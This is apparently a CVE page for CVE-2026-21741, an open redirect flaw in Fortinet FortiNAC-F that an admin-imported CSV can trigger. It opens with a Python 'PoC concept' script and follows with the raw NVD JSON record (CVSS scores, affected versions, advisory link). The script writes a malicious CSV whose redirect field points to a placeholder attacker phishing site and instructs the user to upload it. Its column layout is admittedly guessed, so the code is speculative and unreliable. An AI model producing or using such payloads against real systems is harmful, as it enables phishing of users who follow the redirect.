CVE-2026-21741

# PoC Concept for CVE-2026-21741 # This script demonstrates how to generate a malicious CSV file # that could trigger the Open Redirect vulnerability when imported by an Admin. import csv def generate_malicious_csv(filename, malicious_url): """ Generates a CSV file crafted to exploit the open redirect. Note: The specific column header depends on the actual import function of FortiNAC-F. """ # Example headers and data structure headers = ['username', 'redirect_url', 'status'] # Malicious row containing the untrusted URL data = [ ['admin_user', malicious_url, 'active'] ] try: with open(filename, mode='w', newline='', encoding='utf-8') as file: writer = csv.writer(file) writer.writerow(headers) writer.writerows(data) print(f"[+] Malicious CSV file '{filename}' created successfully.") print(f"[+] Payload URL: {malicious_url}") print(f"[+] Instruction: Upload this file via the FortiNAC-F Admin CSV import function.") except Exception as e: print(f"[-] Error creating file: {e}") if __name__ == "__main__": # Replace with the attacker's controlled site target_url = "http://attacker-controlled-site.com/phishing" generate_malicious_csv("exploit_cve_2026_21741.csv", target_url)

{"cve": {"id": "CVE-2026-21741", "sourceIdentifier": "[email protected]", "published": "2026-04-14T16:16:35.777", "lastModified": "2026-04-20T18:06:16.093", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An URL Redirection to Untrusted Site ('Open Redirect') vulnerability [CWE-601] vulnerability in Fortinet FortiNAC-F 7.6.0 through 7.6.5, FortiNAC-F 7.4 all versions, FortiNAC-F 7.2 all versions may allow a remote privileged attacker with system administrator role to redirect users to an arbitrary website via crafted CSV file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N", "baseScore": 2.4, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortinac-f:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.0", "versionEndExcluding": "7.6.6", "matchCriteriaId": "0BCEDC2F-CD76-475E-A6E9-06DE826AF71B"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-118", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}